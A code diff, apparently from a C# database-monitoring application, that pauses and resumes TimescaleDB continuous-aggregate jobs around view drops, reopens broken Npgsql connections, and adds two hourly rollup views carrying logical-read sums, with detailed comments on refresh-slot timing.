+    internal static async Task<AggregateJobHold> QuiesceContinuousAggregateJobsAsync(
+        NpgsqlConnection connection,
+        string view,
+        ILogger? logger,
+        AggregateJobQuiesceOptions options,
+        CancellationToken cancellationToken)
+    {
+        bool hasInformationViews;
+        using (var probe = new NpgsqlCommand(ContinuousAggregateJobsProbeSql, connection) { CommandTimeout = SetupTimeoutSeconds })
+        {
+            hasInformationViews = await probe.ExecuteScalarAsync(cancellationToken) is true;
+        }
+
+        if (!hasInformationViews)
+        {
+            return AggregateJobHold.None;
+        }
+
+        var jobs = new List<(int JobId, bool Scheduled)>();
+        using (var find = new NpgsqlCommand(ContinuousAggregateJobsSql, connection) { CommandTimeout = SetupTimeoutSeconds })
+        {
+            find.Parameters.AddWithValue(view);
+            using var reader = await find.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                jobs.Add((reader.GetInt32(0), reader.GetBoolean(1)));
+            }
+        }
+
+        if (jobs.Count == 0)
+        {
+            return AggregateJobHold.None;
+        }
+
+        var allIds = jobs.Select(j => j.JobId).ToArray();
+        var stoppedIds = jobs.Where(j => j.Scheduled).Select(j => j.JobId).ToArray();
+        var hold = new AggregateJobHold(stoppedIds, false);
+
+        /* The stop is INSIDE the try: a stop that committed on the server but then lost its connection (or timed
+           out) still has to be undone, and scheduling an id that was never stopped is a no-op. */
+        try
+        {
+            if (stoppedIds.Length > 0)
+            {
+                using var stop = new NpgsqlCommand(UnscheduleJobsSql, connection) { CommandTimeout = SetupTimeoutSeconds };
+                stop.Parameters.AddWithValue(stoppedIds);
+                await stop.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            /* Two empty looks in a row: a worker the scheduler launched just before the stop can still be starting
+               up and not yet listed on the first look. The deadline is checked BETWEEN looks, never by cancelling a
+               statement in flight, so a cap cannot break the connection it is about to use again. At the cap the
+               FINAL look decides: a worker still listed there skips the drop, an empty one lets it go ahead. */
+            var clock = Stopwatch.StartNew();
+            var emptyLooks = 0;
+            while (true)
+            {
+                long workers;
+                using (var count = new NpgsqlCommand(AggregateJobWorkerCountSql, connection) { CommandTimeout = SetupTimeoutSeconds })
+                {
+                    count.Parameters.AddWithValue(allIds);
+                    workers = (long)(await count.ExecuteScalarAsync(cancellationToken))!;
+                }
+
+                emptyLooks = workers == 0 ? emptyLooks + 1 : 0;
+                if (emptyLooks >= 2)
+                {
+                    return hold;
+                }
+
+                if (clock.Elapsed >= options.Cap)
+                {
+                    if (workers == 0)
+                    {
+                        return hold;
+                    }
+
+                    logger?.LogWarning(
+                        "Not dropping continuous aggregate {View} this pass (#5551): a job worker of it was still running at the last look, {Seconds:0.0} s after its jobs were stopped (TimescaleDB usually ends such a worker itself, and this one had not exited), so the jobs are scheduled again and the drop is retried on the next pass. A worker the stop ended, if any, is recorded as one failed run in its job's statistics.",
+                        view, clock.Elapsed.TotalSeconds);
+                    await ResumeContinuousAggregateJobsAsync(connection, stoppedIds, view, logger);
+                    return new AggregateJobHold(Array.Empty<int>(), true);
+                }
+
+                await Task.Delay(options.PollInterval, cancellationToken);
+            }
+        }
+        catch (Exception)
+        {
+            /* A cancellation (shutdown, or the pass's budget) or a failure of the stop or of a look (a broken
+               connection, a lock timeout). The caller never gets a hold back, so the jobs this method stopped are
+               scheduled again here, on a grace of their own that the cancelled token cannot take away, before the
+               exception reaches the caller's catch. */
+            await ResumeContinuousAggregateJobsAsync(connection, stoppedIds, view, logger);
+            throw;
+        }
+    }
+
+    /// <summary>The longest a resume of stopped jobs may take, on its own token: shutdown or the pass's budget may
+    /// already have cancelled the caller's.</summary>
+    private static readonly TimeSpan s_resumeGrace = TimeSpan.FromSeconds(10);
+
+    /// <summary>The operator's way back, put in every log line that says jobs stayed stopped: the ids and the view.</summary>
+    private static string StoppedJobsNote(IReadOnlyList<int> jobIds, string view)
+        => $"Job(s) {string.Join(", ", jobIds)} of continuous aggregate {view} are still stopped; schedule each again with SELECT alter_job(<job id>, scheduled => true). A later pass reads a stopped job as one stopped by hand and leaves it alone.";
+
+    /// <summary>
+    /// #5551: schedules again the jobs a drop attempt stopped, when the aggregate stays. BEST EFFORT and logged,
+    /// never throws: a failed drop is already being handled by the caller's catch, and an aggregate left stopped is
+    /// the less bad outcome than a second failure hiding the first. Runs on a grace token of its own
+    /// (<see cref="s_resumeGrace"/>), never the caller's, so a cancelled caller cannot swallow it. The connection is
+    /// reopened first if the failed statement broke it (<see cref="ReopenBrokenConnectionAsync"/>, #5416). A job
+    /// the caller did not stop is never passed in, so one that was stopped by hand before the sweep stays stopped.
+    /// When the jobs cannot be scheduled again the log line names them and the view.
+    /// </summary>
+    internal static async Task ResumeContinuousAggregateJobsAsync(
+        NpgsqlConnection connection,
+        IReadOnlyList<int> stoppedJobIds,
+        string view,
+        ILogger? logger)
+    {
+        if (stoppedJobIds.Count == 0)
+        {
+            return;
+        }
+
+        try
+        {
+            using var grace = new CancellationTokenSource(s_resumeGrace);
+            if (!await ReopenBrokenConnectionAsync(
+                    connection, logger, grace.Token,
+                    "The connection broke while the jobs of a continuous aggregate were stopped and could not be reopened, so they could not be scheduled again: {Message} "
+                    + StoppedJobsNote(stoppedJobIds, view)))
+            {
+                return;
+            }
+
+            using var start = new NpgsqlCommand(RescheduleJobsSql, connection) { CommandTimeout = SetupTimeoutSeconds };
+            start.Parameters.AddWithValue(stoppedJobIds.ToArray());
+            await start.ExecuteNonQueryAsync(grace.Token);
+            logger?.LogInformation(
+                "Scheduled {Count} job(s) of continuous aggregate {View} again (#5551): the drop did not go ahead, so it keeps refreshing.",
+                stoppedJobIds.Count, view);
+        }
+        catch (Exception ex)
+        {
+            logger?.LogWarning(
+                "Could not schedule the stopped jobs of continuous aggregate {View} again after the drop did not go ahead (#5551): {Message} {Note}",
+                view, ex.Message, StoppedJobsNote(stoppedJobIds, view));
+        }
+    }
+
+    /// <summary>
+    /// #5551: what each sweep's per-relation catch does after a failed drop while it holds stopped jobs: reopen the
+    /// connection if the failure broke it, then schedule the jobs again. Returns false when the connection could not
+    /// be reopened (the sweep ends, as before); that log line names the stopped jobs and the view, so the operator
+    /// knows which to schedule again. With nothing stopped it is exactly <see cref="ReopenBrokenConnectionAsync"/>.
+    /// The reopen of a sweep that holds jobs runs on the resume grace, not the caller's token, so an
+    /// <see cref="OperationCanceledException"/> out of it is the GRACE running out (a pool wait, a host that stopped
+    /// answering; Npgsql's own connect timeout is longer than the grace) and never the caller's cancellation: it is
+    /// logged with the stopped job ids and the view, and the sweep ends like any failed reopen. It reaches the caller
+    /// only when the caller's own token was cancelled too, and then after that same log line. This method never
+    /// throws anything else: the resume it ends with takes every exception itself.
+    /// <paramref name="resumeGrace"/> is the seam for a test; production leaves it at <see cref="s_resumeGrace"/>.
+    /// </summary>
+    internal static async Task<bool> ReopenAndResumeAfterFailedDropAsync(
+        NpgsqlConnection connection,
+        AggregateJobHold hold,
+        string view,
+        ILogger? logger,
+        string reopenFailedTemplate,
+        CancellationToken cancellationToken,
+        TimeSpan? resumeGrace = null)
+    {
+        if (hold.Unscheduled.Count == 0)
+        {
+            return await ReopenBrokenConnectionAsync(connection, logger, cancellationToken, reopenFailedTemplate);
+        }
+
+        var reopenFailed = reopenFailedTemplate + " " + StoppedJobsNote(hold.Unscheduled, view);
+        var reopened = false;
+        try
+        {
+            using var grace = new CancellationTokenSource(resumeGrace ?? s_resumeGrace);
+            reopened = await ReopenBrokenConnectionAsync(connection, logger, grace.Token, reopenFailed);
+        }
+        catch (OperationCanceledException)
+        {
+            logger?.LogWarning(reopenFailed, "the connection did not reopen within " + (resumeGrace ?? s_resumeGrace).TotalSeconds.ToString("0.###", System.Globalization.CultureInfo.InvariantCulture) + " s");
+            if (cancellationToken.IsCancellationRequested)
+            {
+                throw;
+            }
+        }
+
+        if (!reopened)
+        {
+            return false;
+        }
+
+        await ResumeContinuousAggregateJobsAsync(connection, hold.Unscheduled, view, logger);
+        return true;
+    }
+
+    /// <summary>
+    /// #5416: after a failed attempt, hands the sweep (and every convergence step that shares its connection
+    /// after it) an OPEN connection again. A continuous aggregate's refresh job running at the moment of the
+    /// sweep's <c>DROP MATERIALIZED VIEW ... CASCADE</c> fails the drop with <c>XX000: tuple concurrently
+    /// deleted</c>, an ERROR (not a FATAL), and Npgsql 10 closes the connection on an ERROR in SQLSTATE classes
+    /// XX, 58 and 53 (<c>State</c> goes to <c>Closed</c>, <c>FullState</c> to <c>Broken</c>; measured against
+    /// Npgsql 10.0.3). The per-relation catch swallows the error, so without this the NEXT relation's probe
+    /// threw "Connection is not open", got logged as a second, misleading failure, and the convergence steps
+    /// behind the sweep on the same connection (baseline fallback views, statement statistics) failed the same way
+    /// until the next hourly pass. Reopened on the same <see cref="NpgsqlConnection"/> object, which a
+    /// data-source connection supports (the worker's #3971 capture reopens the same way). A connection that is
+    /// still Open (a deadlock victim, a plain timeout) is left alone. Returns false when the reopen itself
+    /// failed, which ends the sweep: every later relation would only repeat the failure.
+    ///
+    /// <para>#5444: shared, so the convergence-step runner (<c>DarlingWorker.RunStoreObjectConvergenceStepAsync</c>)
+    /// reopens the pass's one connection the same way after ANY step breaks it, not only the sweep. The reopen-failed
+    /// warning is the caller's to word (<paramref name="reopenFailedTemplate"/>, one <c>{Message}</c> placeholder);
+    /// the default is the sweep's.</para>
+    /// </summary>
+    public static async Task<bool> ReopenBrokenConnectionAsync(
+        NpgsqlConnection connection,
+        ILogger? logger,
+        CancellationToken cancellationToken,
+        string reopenFailedTemplate = "The retired-baseline sweep's connection broke and could not be reopened, so the rest of the sweep is skipped until the next pass retries it: {Message}")
+    {
+        if (connection.State == System.Data.ConnectionState.Open)
+        {
+            return true;
+        }
+
+        try
+        {
+            /* A Broken connection must be closed before it can open again; closing a Closed one is a no-op. */
+            await connection.CloseAsync();
+            await connection.OpenAsync(cancellationToken);
+            return true;
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            logger?.LogWarning(reopenFailedTemplate, ex.Message);
+            return false;
+        }
+    }
+
     /// <summary>What the superseded pass decided for one legacy relation, and why.</summary>
     public enum SupersededBaselineDecision
     {
@@ -1551,6 +2054,16 @@ the successors REPLACE the legacy trio's grid membership rather than merely join
         (CreateQueryStatsIntervalHourlySql,       QueryStatsIntervalHourlyView),
         (CreateProcedureStatsIntervalHourlySql,   ProcedureStatsIntervalHourlyView),
         (CreateQueryStatsDbIntervalHourlySql,     QueryStatsDbIntervalHourlyView),
+        /* The two hourly rollups that CARRY LOGICAL READS (#5329), appended after the interval pair they copy.
+           The query one groups by statement (query_hash, sql_handle), so it is an UNBOUNDED-cardinality refresh
+           like its sibling; the procedure one has no per-statement column and is deployment-bounded. The
+           phase grid RE-DERIVES from this list (LightHourlyRefreshCount 12 -> 14 and the rest, see
+           RefreshCeilingProvenancePinTests), and because the compression band is keyed on registry position,
+           APPENDING here moves the compression hour of every DAILY and BASELINE member after these by +2:
+           ConvergeCompressionScheduleAsync re-phases them on an existing store (the same proven path as every
+           earlier registration; TimescaleAggregateCompressionTests pins the re-phase). The band is 22 of 23. */
+        (CreateQueryStatsIoHourlySql,             QueryStatsIoHourlyView),
+        (CreateProcedureStatsIoHourlySql,         ProcedureStatsIoHourlyView),
     };
 
     /// <summary>
@@ -1931,6 +2444,35 @@ public static bool IsFrozenRollupAggregate(string? view)
         return FrozenRollupAggregates.Any(a => string.Equals(a.View, bare, StringComparison.Ordinal));
     }
 
+    /// <summary>
+    /// The rollups that read a raw table directly and must NOT hold its purge (#5329, the #1661 rule: a fresh
+    /// rollup must not hold the raw purge): the two io hourlies. Both raw-purge gates honor it: the coverage
+    /// verdict leaves them out of <see cref="RawTierCoverage"/>, and the service-triggered purge's hole gate
+    /// (<c>DarlingWorker.TriggerRawPurgeCoreAsync</c>) skips them through <see cref="HoldsRawPurge"/>.
+    ///
+    /// <para><b>Why the hole gate needs its own exemption.</b> The hole gate walks
+    /// <see cref="MaterializationHoleTargets"/>, which derives from every registered rollup, so registering an
+    /// io view put it under the gate without anyone naming it. An io view is created WITH NO DATA and its
+    /// refresh policy reaches back only <see cref="HourlyRefreshStartSpan"/> (a day), so a store that took this
+    /// build holds up to <see cref="RawRetentionSpan"/> of raw hours the io view never saw. The purge range
+    /// starts at the oldest raw chunk, so those hours sit in it until the chunk drops, and the repair walk
+    /// closes at most <see cref="MaterializationHoleRepairCapBuckets"/> (24) buckets per start. A purge gated on
+    /// them would hold query_stats and procedure_stats (the largest tables) for as many restarts as it takes,
+    /// which is the unbounded raw growth the #1661 rule exists to prevent. What the exemption costs is the
+    /// documented one: the io view is partial for that window (<c>--backfill-rollups</c> fills it), and every
+    /// reader already falls back to raw below the io floor.</para>
+    /// </summary>
+    public static readonly IReadOnlyList<string> RawPurgeUngatedRollups = new[]
+    {
+        QueryStatsIoHourlyView,
+        ProcedureStatsIoHourlyView,
+    };
+
+    /// <summary>Does <paramref name="view"/> hold the raw purge when it has a hole? False for
+    /// <see cref="RawPurgeUngatedRollups"/>; true for every other rollup that reads a raw table.</summary>
+    public static bool HoldsRawPurge(string view)
+        => !RawPurgeUngatedRollups.Contains(view, StringComparer.Ordinal);
+
     /// <summary>Detaches an EXISTING refresh policy from a frozen legacy rollup, if the store still carries one
     /// from before #3653's LC — <c>if_exists</c>, so a store that has never had one, or has already lost it,
     /// changes nothing. Issued once per <see cref="FrozenRollupAggregates"/> member, every start, by
@@ -1968,6 +2510,16 @@ public static string RemoveFrozenRollupRefreshPolicySql(string view)
     /// <see cref="QueryStatsDbHourlyView"/>, carrying the same I/O sums FinOps reads.</summary>
     public const string QueryStatsDbIntervalHourlyView = "query_stats_db_interval_hourly";
 
+    /// <summary>The per-query hourly rollup that CARRIES LOGICAL READS (#5329): <see cref="QueryStatsIntervalHourlyView"/>'s
+    /// text, every column, plus the three I/O sums the database-grain rollup carries. Named "io" for them.
+    /// HOURLY ONLY, on purpose: the daily tier is not read for a Top Queries ranking, and a daily would take the
+    /// compression band to 24 of 23 (see <see cref="AggregateCompressionBandFirstHour"/>); see
+    /// <see cref="CreateQueryStatsIoHourlySql"/>.</summary>
+    public const string QueryStatsIoHourlyView = "query_stats_io_hourly";
+
+    /// <summary><see cref="QueryStatsIoHourlyView"/>'s procedure_stats sibling (#5329).</summary>
+    public const string ProcedureStatsIoHourlyView = "procedure_stats_io_hourly";
+
     /// <summary>The INTERVAL-HONEST successor DAILY of <see cref="QueryStatsDailyView"/> (#3653, A6) —
     /// hierarchical from <see cref="QueryStatsIntervalHourlyView"/>, not from the legacy hourly its sibling
     /// reads. Named distinctly from <see cref="QueryStoreStatsIntervalDailyView"/> ("query_store_..." vs
@@ -2221,6 +2773,78 @@ FROM collect.procedure_stats
 FROM collect.procedure_stats
 WHERE sample_interval_seconds IS DISTINCT FROM 0
 GROUP BY server_id, server_name, database_name, schema_name, object_name, bucket
+WITH NO DATA";
+
+    /// <summary>
+    /// The per-query hourly rollup that keeps LOGICAL READS (#5329): <see cref="CreateQueryStatsIntervalHourlySql"/>'s
+    /// text (same dimensions, same <c>WHERE sample_interval_seconds IS DISTINCT FROM 0</c>, every column) plus
+    /// <c>logical_reads_sum</c>, <c>physical_reads_sum</c> and <c>logical_writes_sum</c>, named as the database-grain
+    /// rollup names them (<see cref="CreateQueryStatsDbIntervalHourlySql"/>).
+    ///
+    /// <para><b>Why a new aggregate rather than a new column.</b> A continuous aggregate's query cannot take a
+    /// new column (#1661, see <see cref="CreateQueryStatsDbIntervalHourlySql"/>); a DROP + recreate would refill
+    /// from a few days of raw and destroy the 90-day hourly. So the interval pair stays exactly as it is and this
+    /// is a SIBLING, <c>WITH NO DATA</c>, created by the ensure sweep like the others (no PgMigrations rung:
+    /// existence is the gate). A reads ranking reads it once it reaches the window's start; before that, raw.
+    /// HOURLY ONLY (see <see cref="QueryStatsIoHourlyView"/>).</para>
+    /// </summary>
+    public const string CreateQueryStatsIoHourlySql = @"CREATE MATERIALIZED VIEW IF NOT EXISTS collect.query_stats_io_hourly
+WITH (timescaledb.continuous) AS
+SELECT
+    server_id,
+    server_name,
+    database_name,
+    query_hash,
+    sql_handle,
+    time_bucket('1 hour', collection_time) AS bucket,
+    sum(delta_worker_time) AS worker_time_sum,
+    min(delta_worker_time) AS worker_time_min,
+    max(delta_worker_time) AS worker_time_max,
+    sum(delta_elapsed_time) AS elapsed_time_sum,
+    min(delta_elapsed_time) AS elapsed_time_min,
+    max(delta_elapsed_time) AS elapsed_time_max,
+    sum(delta_execution_count) AS execution_count_sum,
+    min(delta_execution_count) AS execution_count_min,
+    max(delta_execution_count) AS execution_count_max,
+    sum(sample_interval_seconds) AS sample_interval_seconds_sum,
+    count(*) AS sample_count,
+    sum(delta_logical_reads) AS logical_reads_sum,
+    sum(delta_physical_reads) AS physical_reads_sum,
+    sum(delta_logical_writes) AS logical_writes_sum
+FROM collect.query_stats
+WHERE sample_interval_seconds IS DISTINCT FROM 0
+GROUP BY server_id, server_name, database_name, query_hash, sql_handle, bucket
+WITH NO DATA";
+
+    /// <summary><see cref="CreateQueryStatsIoHourlySql"/>'s procedure_stats sibling (#5329):
+    /// <see cref="CreateProcedureStatsIntervalHourlySql"/>'s text plus the three I/O sums. No per-statement
+    /// column, so it is deployment-bounded (the sub-3 s refresh class).</summary>
+    public const string CreateProcedureStatsIoHourlySql = @"CREATE MATERIALIZED VIEW IF NOT EXISTS collect.procedure_stats_io_hourly
+WITH (timescaledb.continuous) AS
+SELECT
+    server_id,
+    server_name,
+    database_name,
+    schema_name,
+    object_name,
+    time_bucket('1 hour', collection_time) AS bucket,
+    sum(delta_worker_time) AS worker_time_sum,
+    min(delta_worker_time) AS worker_time_min,
+    max(delta_worker_time) AS worker_time_max,
+    sum(delta_elapsed_time) AS elapsed_time_sum,
+    min(delta_elapsed_time) AS elapsed_time_min,
+    max(delta_elapsed_time) AS elapsed_time_max,
+    sum(delta_execution_count) AS execution_count_sum,
+    min(delta_execution_count) AS execution_count_min,
+    max(delta_execution_count) AS execution_count_max,
+    sum(sample_interval_seconds) AS sample_interval_seconds_sum,
+    count(*) AS sample_count,
+    sum(delta_logical_reads) AS logical_reads_sum,
+    sum(delta_physical_reads) AS physical_reads_sum,
+    sum(delta_logical_writes) AS logical_writes_sum
+FROM collect.procedure_stats
+WHERE sample_interval_seconds IS DISTINCT FROM 0
+GROUP BY server_id, server_name, database_name, schema_name, object_name, bucket
 WITH NO DATA";
 
     /// <summary>
@@ -3916,9 +4540,10 @@ internal static int RefreshPhaseMinutesFor(IReadOnlyList<string> order, string v
     ///
     /// <para><b>So: the small-residual reading is conditional on how long this job runs, and what
     /// invalidates it is that runtime approaching <see cref="RefreshPhaseSlotSeconds"/>.</b> At 896 s
-    /// against a 1260-second slot the margin is 364 seconds — the clearance the population above carries, a
-    /// property of that closed record rather than of current load (it was 184 s against #3653's 1,080 s slot;
-    /// the A6 freeze re-derived the window back to 21 minutes); the heaviest
+    /// against a 1140-second slot the margin is 244 seconds — the clearance the population above carries, a
+    /// property of that closed record rather than of current load (it was 364 s against the 1,260 s slot of
+    /// the A6 freeze, and 184 s against #3653's 1,080 s one; #5329's two io hourlies re-derived the window to
+    /// 19 minutes); the heaviest
     /// slot is excluded WHOLE rather than guarded on the guard band being shorter than the refresh rather
     /// than on the refresh filling the slot (see <see cref="CompressionPhaseMinutes"/>). A value at or past
     /// the slot width is asserted as a failure rather than accommodated: past that point the refresh runs
@@ -3927,10 +4552,10 @@ internal static int RefreshPhaseMinutesFor(IReadOnlyList<string> order, string v
     /// <para><b>THE LIVE ENVELOPE, which the census has now COLLAPSED onto that clearance rather than
     /// leaving beside it (#3119, #3166).</b> Over <c>2026-09-07</c> — one closed day, its 24 runs read from
     /// <c>timescaledb_information.job_history</c> at one row per run — this job's maximum was
-    /// <b>896.1 s</b>. That leaves <b>363.9 s</b> of the slot, <b>28.8%</b> of it, and sits <b>153.9 s</b>
+    /// <b>896.1 s</b>. That leaves <b>243.9 s</b> of the slot, <b>21.3%</b> of it, and sits <b>53.9 s</b>
     /// BELOW <see cref="RefreshSlotWarningSeconds"/>, which <see cref="ClassifyRefreshSlotHeadroom"/> bands
-    /// <see cref="RefreshSlotHeadroom.InsideSlot"/> — by 153.9 s, at the A6 freeze's re-derived 1,260 s window
-    /// (183.9 s, 17.0% and 3.9 s against #3653's 1,080 s). #3119 had to state these figures apart from the
+    /// <see cref="RefreshSlotHeadroom.InsideSlot"/> — by 53.9 s, at #5329's re-derived 1,140 s window
+    /// (153.9 s and 28.8% at the A6 freeze's 1,260 s window; 3.9 s against #3653's 1,080 s). #3119 had to state these figures apart from the
     /// clearance because the constant was the maximum of a SAMPLE and the census exceeded it. They agree to
     /// the second — and that agreement is a COINCIDENCE ABOUT WHERE ONE RUN LANDED rather than an identity
     /// of populations (#3182). This day's runs are a SUBSET of the population above, not the whole of it:
@@ -4027,8 +4652,8 @@ internal static int RefreshPhaseMinutesFor(IReadOnlyList<string> order, string v
 
     /// <summary>
     /// The line at which the heaviest hourly refresh's LIVE runtime is worth a warning — five sixths of
-    /// <see cref="RefreshPhaseSlotSeconds"/>, so 900 s against today's 1,080 s window (1,050 s against
-    /// #3174's 1,260 s, before #3653's three hourly successors re-derived it).
+    /// <see cref="RefreshPhaseSlotSeconds"/>, so 950 s against today's 1,140 s window (1,050 s against
+    /// the 1,260 s of #3174 and #3653's A6 freeze, before #5329's two io hourlies re-derived it).
     ///
     /// <para><b>Why this exists at all, which is the whole of #3044.</b> The assertion on
     /// <see cref="HeaviestHourlyRefreshObservedCeilingSeconds"/> bounds a CONSTANT, and the thing it bounds is
@@ -4043,7 +4668,7 @@ internal static int RefreshPhaseMinutesFor(IReadOnlyList<string> order, string v
     /// 293 s — 26.6% to 47.1% of the window — so a line at 83.3% leaves the peak of THAT set more than a
     /// third of the window below it, which is what keeps it off the load those five represent. And it must
     /// leave usable lead
-    /// time: the remaining sixth is 210 s here, while the walk that carries this job through the hour advances
+    /// time: the remaining sixth is 190 s here, while the walk that carries this job through the hour advances
     /// by its own runtime each cycle (see the finish-to-start note on
     /// <see cref="SetCompressionSchedulePhaseSql"/>), so the warning lands while the job still finishes inside
     /// its slot and the grid's stated precondition is still TRUE.</para>
@@ -4051,16 +4676,17 @@ internal static int RefreshPhaseMinutesFor(IReadOnlyList<string> order, string v
     /// <para><b>The alternative, and the reason it is rejected — which #3174 had to RE-TAKE rather than
     /// restate, because the old reason stopped being true — and which #3653 re-took once more, because it
     /// came back.</b> The alternative that tempts here is the slot less one
-    /// <see cref="CompressionPhaseGuardMinutes"/> band, 1020 s, and it sits ABOVE
-    /// <see cref="HeaviestHourlyRefreshObservedCeilingSeconds"/> at #3653's A6 freeze's 21-minute window, as it
-    /// did NOT under #3653's 18-minute window (840 s) and did at #3174's 21-minute window (1,020 s). Above the ceiling was
+    /// <see cref="CompressionPhaseGuardMinutes"/> band, 900 s, and it sits ABOVE
+    /// <see cref="HeaviestHourlyRefreshObservedCeilingSeconds"/> at #5329's 19-minute window, as it did NOT
+    /// under #3653's 18-minute window (840 s) and did at the 21-minute window of #3174 and the A6 freeze
+    /// (1,020 s). Above the ceiling was
     /// whole of its original rejection, since a line under the recorded ceiling warns on the very run the
     /// compression grid is sized against; #3174's re-derivation took that argument away by shrinking the
     /// guard band from half a uniform slot to the light refreshes' own ceiling, leaving both lines clear of
     /// the ceiling and 30 s apart, so the ordering no longer discriminated and lead time argued mildly FOR
     /// the lower one. What rejected it then, and still rejects it whichever way the ordering falls, is
     /// COUPLING, a property the old geometry could not have exposed: the guard band
-    /// is a DECLARED width for the FIFTEEN OTHER refresh policies, so the alternative would make the
+    /// is a DECLARED width for the FOURTEEN OTHER refresh policies, so the alternative would make the
     /// heaviest refresh's watch line move whenever the light class's width was re-declared. While that width
     /// was <c>ceil(OtherHourlyRefreshObservedCeilingSeconds / 60)</c> the coupling was worse still — the
     /// line would have moved whenever a light refresh got slower — and #3188's inversion narrows the
@@ -4073,8 +4699,9 @@ internal static int RefreshPhaseMinutesFor(IReadOnlyList<string> order, string v
     /// what makes a crossing mean something.</b> The census re-derivation (#3166) put that constant at
     /// <b>896 s</b>, which INVERTED the ordering against the 750 s line a 15-minute slot produced — and
     /// restoring it is one of the two things the re-derived grid is for. Against the window the hour can
-    /// spare, this line is 1,050 s and the ceiling is 154 s below it (#3653's 18-minute window had it at 900 s
-    /// and 4 s; #3653's A6 freeze restored #3174's 21-minute window), so a
+    /// spare, this line is 950 s and the ceiling is 54 s below it (#3653's 18-minute window had it at 900 s
+    /// and 4 s; #3653's A6 freeze restored #3174's 21-minute window, 1,050 s and 154 s; #5329's two io
+    /// hourlies took it to the 19-minute window), so a
     /// reading in this band is again past the whole of the record the compression grid is sized against: a
     /// different signal calling for a different response, rather than a restatement of the grid's own
     /// sizing. <b>The relationship is what is pinned, not the two numbers</b> — a ceiling that rose past
@@ -4084,9 +4711,9 @@ internal static int RefreshPhaseMinutesFor(IReadOnlyList<string> order, string v
     /// that changes anything — and at four seconds of margin the next re-derivation has no geometry left to
     /// give and has to take a member OFF the grid or a minute off the compression band.</para>
     ///
-    /// <para><b>The alternative's ordering is ABOVE the ceiling at #3653's A6 freeze</b>: 1,260 - 240 = 1,020 s
-    /// sits 124 s above the 896 s constant, so coupling stands as the sole reason for the rejection — the
-    /// ordering argument is gone again, as it was at #3174's 21-minute window. TimescaleSupportTests pins both
+    /// <para><b>The alternative's ordering is ABOVE the ceiling at #5329</b>: 1,140 - 240 = 900 s
+    /// sits only 4 s above the 896 s constant (124 s at the 21-minute window), so coupling stands as the
+    /// reason for the rejection and the ordering argument is available again only by a hair. TimescaleSupportTests pins both
     /// reasons and says which one remains if a narrower window re-takes the ordering.</para>
     /// </summary>
     public static int RefreshSlotWarningSeconds =>
@@ -4507,7 +5134,17 @@ public static void LogLightRefreshSpacingBreach(
     /// <para><b>THE CENSUS.</b> Post-boundary, the maximum is <b>226.8</b> s over <b>874</b> runs of
     /// <b>12</b> views, with 95th percentile <b>42.2</b> s and median <b>0.8</b> s. Zero rows are removed by
     /// the succeeded/finish filter (<b>874</b> of <b>874</b>), so this is the whole of the span rather than a
-    /// status-selected part of it. <b>ONE STORE'S, on the same precondition
+    /// status-selected part of it. <b>TWELVE OF FOURTEEN, since #5329.</b> The read predates the two io
+    /// hourlies, so it covers 12 of the 14 light views the constant now bounds; the 2 registered after the
+    /// read are unmeasured, and are held under this bound by SHAPE rather than by a reading:
+    /// <see cref="QueryStatsIoHourlyView"/> reads the same raw rows under the same group key and the same
+    /// <c>WHERE</c> as <see cref="QueryStatsIntervalHourlyView"/> (that view's own maximum in this population
+    /// is 23.3 s) and adds three more sums to the same groups, and <see cref="ProcedureStatsIoHourlyView"/> is
+    /// its procedure sibling's shape with the same three (sub-3 s). Three extra <c>sum()</c> columns widen the
+    /// rows without adding a group, so the cost is argued to sit modestly above the sibling's and far below
+    /// this constant, not measured — and <see cref="LogRefreshCeilingStaleness"/> reports the first run of
+    /// either that falsifies it, exactly as it would for the twelve. The next census over the fourteen-view
+    /// layout replaces this sentence with a count. <b>ONE STORE'S, on the same precondition
     /// <see cref="HeaviestHourlyRefreshObservedCeilingSeconds"/> states (#3175):</b> the read only sees
     /// executions where <c>timescaledb.enable_job_execution_logging</c> is ON, that GUC could not be healed
     /// onto a cluster predating the conf block that set it until #3175/#3177 gave it a marker of its own,
@@ -4876,12 +5513,12 @@ public static int WidestFeasibleLightRefreshStepMinutes
     /// this band cannot drift apart.</para>
     ///
     /// <para><b>Why the heaviest window is excluded whole rather than guarded.</b>
-    /// <see cref="HeaviestHourlyRefreshView"/> occupies 896 of the 1260 seconds in its window and the
+    /// <see cref="HeaviestHourlyRefreshView"/> occupies 896 of the 1140 seconds in its window and the
     /// <see cref="CompressionPhaseGuardMinutes"/> band is 4, so applying the ordinary band to this window
     /// would admit 11 minutes that sit INSIDE the refresh — the band is the wrong size for it, which is the
     /// arithmetic the exclusion rests on and the reason widening the band is not the alternative. The other
-    /// 6 minutes of the window are past the refresh and are left on the table deliberately (3 of #3653's
-    /// 1,080 s window; the A6 freeze re-added three): recovering them
+    /// 4 minutes of the window are past the refresh and are left on the table deliberately (3 of #3653's
+    /// 1,080 s window, 6 at the A6 freeze's 1,260 s one; #5329's io hourlies took two): recovering them
     /// means sizing a band for one window against a bound whose population is 57 readings and still moving
     /// (194 s to 896 s within the clean regime), which is #3035's exclude-versus-guard decision to reopen and
     /// not a renumbering. Stated in SECONDS against the window in seconds, because the occupancy is only
@@ -5466,13 +6103,27 @@ always been and the statement a store without batching emits is byte-identical t
     /// old shape in place (logged), never kills startup. query_stats CAGGs are unchanged and untouched. CASCADE
     /// drops the dependent daily CAGG, which the ensure sweep also recreates.
     /// </summary>
-    public static async Task<int> DropStaleContinuousAggregatesAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default)
+    public static Task<int> DropStaleContinuousAggregatesAsync(NpgsqlConnection connection, ILogger? logger, CancellationToken cancellationToken = default)
+        => DropStaleContinuousAggregatesAsync(connection, logger, AggregateJobQuiesceOptions.Default, cancellationToken);
+
+    /// <summary>
+    /// The same reshape with the wait for a running job worker (#5551) set by the caller; see
+    /// <see cref="DropRetiredBaselineAggregatesAsync(NpgsqlConnection, ILogger?, DateTime, AggregateJobQuiesceOptions, CancellationToken)"/>.
+    /// The jobs of an aggregate built on the one being dropped are stopped with it, because the CASCADE takes both.
+    /// </summary>
+    public static async Task<int> DropStaleContinuousAggregatesAsync(
+        NpgsqlConnection connection, ILogger? logger, AggregateJobQuiesceOptions quiesce, CancellationToken cancellationToken = default)
     {
         if (connection is null)
         {
             throw new ArgumentNullException(nameof(connection));
         }
 
+        if (quiesce is null)
+        {
+            throw new ArgumentNullException(nameof(quiesce));
+        }
+
